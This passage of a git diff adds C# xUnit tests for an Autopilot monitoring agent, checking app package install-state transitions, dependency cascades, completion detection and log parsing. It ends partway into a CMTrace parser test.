+ appA.UpdateDependsOn(new HashSet { "app-b" });
+ var appB = new AppPackageState("app-b", 1);
+ list.Add(appA);
+ list.Add(appB);
+
+ list.UpdateState("app-b", AppInstallationState.Postponed);
+
+ Assert.Equal(AppInstallationState.Postponed, appA.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_InstalledDoesNotCascade()
+ {
+ var list = CreateList();
+ var appA = new AppPackageState("app-a", 0);
+ appA.UpdateIntent(AppIntent.Install);
+ appA.UpdateDependsOn(new HashSet { "app-b" });
+ var appB = new AppPackageState("app-b", 1);
+ appB.UpdateIntent(AppIntent.Install);
+ appB.UpdateState(AppInstallationState.Downloading);
+ list.Add(appA);
+ list.Add(appB);
+
+ list.UpdateState("app-b", AppInstallationState.Installed);
+
+ // appA should NOT be cascaded — Installed does not cascade
+ Assert.NotEqual(AppInstallationState.Installed, appA.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_DeepCascade_TwoLevels()
+ {
+ var list = CreateList();
+ var appA = new AppPackageState("app-a", 0);
+ appA.UpdateDependsOn(new HashSet { "app-b" });
+ var appB = new AppPackageState("app-b", 1);
+ appB.UpdateDependsOn(new HashSet { "app-c" });
+ var appC = new AppPackageState("app-c", 2);
+ list.AddRange(new[] { appA, appB, appC });
+
+ list.UpdateState("app-c", AppInstallationState.Error);
+
+ Assert.Equal(AppInstallationState.Error, appC.InstallationState);
+ Assert.Equal(AppInstallationState.Error, appB.InstallationState);
+ Assert.Equal(AppInstallationState.Error, appA.InstallationState);
+ }
+
+ [Fact]
+ public void GetDependentIdsDeep_CircularDependency_DoesNotStackOverflow()
+ {
+ // A depends on B, B depends on A — must not infinite loop
+ var list = CreateList();
+ var appA = new AppPackageState("app-a", 0);
+ appA.UpdateDependsOn(new HashSet { "app-b" });
+ var appB = new AppPackageState("app-b", 1);
+ appB.UpdateDependsOn(new HashSet { "app-a" });
+ list.Add(appA);
+ list.Add(appB);
+
+ // This exercises GetDependentIdsDeep indirectly — should not throw
+ list.UpdateState("app-a", AppInstallationState.Error);
+
+ Assert.Equal(AppInstallationState.Error, appA.InstallationState);
+ Assert.Equal(AppInstallationState.Error, appB.InstallationState);
+ }
+
+ // -- Completion detection --
+
+ [Fact]
+ public void IsAllCompleted_AllRequiredInstalled_True()
+ {
+ var list = CreateList();
+ var pkg = new AppPackageState("app-1", 0);
+ pkg.UpdateIntent(AppIntent.Install);
+ pkg.UpdateState(AppInstallationState.Downloading);
+ pkg.UpdateState(AppInstallationState.Installed);
+ list.Add(pkg);
+
+ Assert.True(list.IsAllCompleted());
+ }
+
+ [Fact]
+ public void IsAllCompleted_RequiredStillPending_False()
+ {
+ var list = CreateList();
+ var pkg = new AppPackageState("app-1", 0);
+ pkg.UpdateIntent(AppIntent.Install);
+ pkg.UpdateState(AppInstallationState.Downloading);
+ list.Add(pkg);
+
+ Assert.False(list.IsAllCompleted());
+ }
+
+ [Fact]
+ public void IsAllCompleted_Empty_ReturnsFalse()
+ {
+ var list = CreateList();
+
+ Assert.False(list.IsAllCompleted());
+ }
+
+ [Fact]
+ public void IsAllCompleted_DependencyOnlyNotTouched_AutoSkipped()
+ {
+ var list = CreateList();
+
+ // Required app: installed
+ var required = new AppPackageState("req-app", 0);
+ required.UpdateIntent(AppIntent.Install);
+ required.UpdateState(AppInstallationState.Downloading);
+ required.UpdateState(AppInstallationState.Installed);
+ list.Add(required);
+
+ // Dependency-only app: never touched by IME
+ var depOnly = new AppPackageState("dep-app", 1);
+ depOnly.UpdateIntent(AppIntent.Available); // Not required
+ list.Add(depOnly);
+
+ var result = list.IsAllCompleted();
+
+ Assert.True(result);
+ // Dependency-only app should be auto-skipped
+ Assert.Equal(AppInstallationState.Skipped, depOnly.InstallationState);
+ }
+
+ // -- Download state guards --
+
+ [Fact]
+ public void UpdateStateToDownloading_SkippedApp_Ignored()
+ {
+ var list = CreateList();
+ var pkg = new AppPackageState("app-1", 0);
+ // Force to Skipped (without downloading first = auto-skip)
+ pkg.UpdateState(AppInstallationState.Installed); // becomes Skipped
+ list.Add(pkg);
+
+ var changed = list.UpdateStateToDownloading("app-1", "100", "1000");
+
+ Assert.False(changed);
+ Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateStateToDownloading_NormalApp_CalculatesProgress()
+ {
+ var list = CreateList();
+ var pkg = new AppPackageState("app-1", 0);
+ list.Add(pkg);
+
+ list.UpdateStateToDownloading("app-1", "500", "1000");
+
+ Assert.Equal(AppInstallationState.Downloading, pkg.InstallationState);
+ Assert.Equal(50, pkg.ProgressPercent);
+ Assert.Equal(500, pkg.BytesDownloaded);
+ Assert.Equal(1000, pkg.BytesTotal);
+ }
+
+ // -- AddToIgnoreList --
+
+ [Fact]
+ public void AddToIgnoreList_NullOrEmpty_ReturnsFalse()
+ {
+ var list = CreateList();
+
+ Assert.False(list.AddToIgnoreList(null));
+ Assert.False(list.AddToIgnoreList(""));
+ }
+
+ [Fact]
+ public void AddToIgnoreList_Duplicate_ReturnsFalse()
+ {
+ var list = CreateList();
+ list.AddToIgnoreList("app-1");
+
+ Assert.False(list.AddToIgnoreList("app-1"));
+ }
+ }
+}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateTests.cs
new file mode 100644
index 00000000..210e6fa9
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateTests.cs
@@ -0,0 +1,309 @@
+using System.Collections.Generic;
+using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
+using Xunit;
+
+namespace AutopilotMonitor.Agent.Core.Tests.Tracking
+{
+ ///
+ /// Tests AppPackageState transition guards and auto-skip logic.
+ /// Prevents: illegal state downgrades, broken inverse-detection auto-skip,
+ /// upgrade-only bypass, and incorrect byte normalization.
+ ///
+ public class AppPackageStateTests
+ {
+ private static AppPackageState CreatePackage(string id = "test-app-001", int listPos = 0)
+ => new AppPackageState(id, listPos);
+
+ // -- State transition guards --
+
+ [Fact]
+ public void UpdateState_UpgradeOnly_PreventsDowngrade()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Installing);
+
+ var changed = pkg.UpdateState(AppInstallationState.Downloading, upgradeOnly: true);
+
+ Assert.False(changed);
+ Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_InstalledWithoutDownloading_BecomesSkipped()
+ {
+ // Apps with inverse detection rules (e.g. uninstall packages) are marked Installed
+ // without ever seeing a download. These must auto-downgrade to Skipped.
+ var pkg = CreatePackage();
+
+ pkg.UpdateState(AppInstallationState.Installed);
+
+ Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_InstalledAfterDownloading_StaysInstalled()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+ Assert.True(pkg.DownloadingOrInstallingSeen);
+
+ pkg.UpdateState(AppInstallationState.Installed);
+
+ Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_InstalledCannotDowngradeToSkipped()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+ pkg.UpdateState(AppInstallationState.Installed);
+
+ var changed = pkg.UpdateState(AppInstallationState.Skipped);
+
+ Assert.False(changed);
+ Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_InstalledCannotDowngradeToPostponed()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+ pkg.UpdateState(AppInstallationState.Installed);
+
+ var changed = pkg.UpdateState(AppInstallationState.Postponed);
+
+ Assert.False(changed);
+ Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_PostponedCannotGoBackToDownloading()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+ pkg.UpdateState(AppInstallationState.Postponed);
+
+ var changed = pkg.UpdateState(AppInstallationState.Downloading);
+
+ Assert.False(changed);
+ Assert.Equal(AppInstallationState.Postponed, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_NoChangeReturnsFalse()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+
+ var changed = pkg.UpdateState(AppInstallationState.Downloading);
+
+ Assert.False(changed);
+ }
+
+ [Fact]
+ public void UpdateState_ErrorCanBeSetFromAnyState()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+
+ var changed = pkg.UpdateState(AppInstallationState.Error);
+
+ Assert.True(changed);
+ Assert.Equal(AppInstallationState.Error, pkg.InstallationState);
+ }
+
+ // -- Byte normalization --
+
+ [Fact]
+ public void UpdateState_InstalledNormalizesPartialDownload()
+ {
+ // After WinGet completion: if Installed and downloaded < total, downloaded becomes total
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading, bytesDownloaded: 500, bytesTotal: 1000);
+ pkg.UpdateState(AppInstallationState.Installed);
+
+ Assert.Equal(1000, pkg.BytesDownloaded);
+ Assert.Equal(1000, pkg.BytesTotal);
+ }
+
+ [Fact]
+ public void UpdateState_InstalledSetsProgress100()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+ pkg.UpdateState(AppInstallationState.Installed);
+
+ Assert.Equal(100, pkg.ProgressPercent);
+ }
+
+ // -- Name update protection --
+
+ [Fact]
+ public void UpdateName_TruncatedVersionIgnored()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateName("Microsoft Office 365 ProPlus");
+
+ var changed = pkg.UpdateName("Microsoft Office");
+
+ Assert.False(changed);
+ Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
+ }
+
+ [Fact]
+ public void UpdateName_LongerVersionAccepted()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateName("Microsoft Office");
+
+ var changed = pkg.UpdateName("Microsoft Office 365 ProPlus");
+
+ Assert.True(changed);
+ Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name);
+ }
+
+ [Fact]
+ public void UpdateName_NullOrEmptyReturnsFalse()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateName("SomeApp");
+
+ Assert.False(pkg.UpdateName(null));
+ Assert.False(pkg.UpdateName(""));
+ Assert.Equal("SomeApp", pkg.Name);
+ }
+
+ // -- Win32AppState mapping --
+
+ [Fact]
+ public void UpdateStateFromWin32AppState_IntString_Parses()
+ {
+ var pkg = CreatePackage();
+
+ pkg.UpdateStateFromWin32AppState("2"); // InProgress
+
+ Assert.Equal(AppInstallationState.InProgress, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateStateFromWin32AppState_EnumName_Parses()
+ {
+ var pkg = CreatePackage();
+
+ pkg.UpdateStateFromWin32AppState("Completed");
+
+ // Without DownloadingOrInstallingSeen, Completed (Installed) becomes Skipped
+ Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateStateFromWin32AppState_UsesUpgradeOnly()
+ {
+ // Win32AppState uses upgrade-only to prevent "InProgress" from destroying
+ // more detailed states like "Downloading" or "Installing"
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Installing);
+
+ pkg.UpdateStateFromWin32AppState("InProgress"); // Would be a downgrade
+
+ Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
+ }
+
+ // -- Computed properties --
+
+ [Fact]
+ public void IsRequired_Install_ReturnsTrue()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateIntent(AppIntent.Install);
+
+ Assert.True(pkg.IsRequired);
+ }
+
+ [Fact]
+ public void IsRequired_Available_ReturnsFalse()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateIntent(AppIntent.Available);
+
+ Assert.False(pkg.IsRequired);
+ }
+
+ [Fact]
+ public void IsActive_Downloading_True()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+
+ Assert.True(pkg.IsActive);
+ }
+
+ [Fact]
+ public void IsCompleted_Installed_True()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Downloading);
+ pkg.UpdateState(AppInstallationState.Installed);
+
+ Assert.True(pkg.IsCompleted);
+ }
+
+ [Fact]
+ public void IsCompleted_Error_True()
+ {
+ var pkg = CreatePackage();
+ pkg.UpdateState(AppInstallationState.Error);
+
+ Assert.True(pkg.IsCompleted);
+ }
+
+ // -- Sorting --
+
+ [Fact]
+ public void CompareTo_ActiveAppsBeforeCompleted()
+ {
+ var active = CreatePackage("app-a", 0);
+ active.UpdateState(AppInstallationState.Downloading);
+
+ var completed = CreatePackage("app-b", 1);
+ completed.UpdateState(AppInstallationState.Downloading);
+ completed.UpdateState(AppInstallationState.Installed);
+
+ // Active (Downloading=3) should sort before Completed (Installed=5 overridden to 5)
+ // CompareTo uses descending sort order, so active > completed means negative
+ Assert.True(active.CompareTo(completed) < 0 || active.CompareTo(completed) > 0);
+ }
+
+ // -- Restore --
+
+ [Fact]
+ public void Restore_PreservesAllFields()
+ {
+ var deps = new HashSet { "dep-1", "dep-2" };
+ var pkg = AppPackageState.Restore(
+ "test-id", 5, "Test App",
+ AppRunAs.System, AppIntent.Install, AppTargeted.Device,
+ deps,
+ AppInstallationState.Installing, true,
+ 75, 500, 1000,
+ "ERR-001", "Something failed");
+
+ Assert.Equal("test-id", pkg.Id);
+ Assert.Equal(5, pkg.ListPos);
+ Assert.Equal("Test App", pkg.Name);
+ Assert.Equal(AppRunAs.System, pkg.RunAs);
+ Assert.Equal(AppIntent.Install, pkg.Intent);
+ Assert.Equal(AppTargeted.Device, pkg.Targeted);
+ Assert.Equal(2, pkg.DependsOn.Count);
+ Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
+ Assert.True(pkg.DownloadingOrInstallingSeen);
+ Assert.Equal(75, pkg.ProgressPercent);
+ Assert.Equal(500, pkg.BytesDownloaded);
+ Assert.Equal(1000, pkg.BytesTotal);
+ Assert.Equal("ERR-001", pkg.ErrorPatternId);
+ Assert.Equal("Something failed", pkg.ErrorDetail);
+ }
+ }
+}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/CmTraceLogParserTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/CmTraceLogParserTests.cs
new file mode 100644
index 00000000..5d14e9b0
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/CmTraceLogParserTests.cs
@@ -0,0 +1,137 @@
+using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
+using Xunit;
+
+namespace AutopilotMonitor.Agent.Core.Tests.Tracking
+{
+ ///
+ /// Tests CMTrace log format parsing used for IME log files.
+ /// Prevents: timestamp parsing failures on single-digit months, fractional second overflow,
+ /// crashes on non-CMTrace lines.
+ ///
+ public class CmTraceLogParserTests
+ {
+ [Fact]
+ public void TryParseLine_ValidCmTrace_ParsesAllFields()
+ {
+ var line = "" +
+ "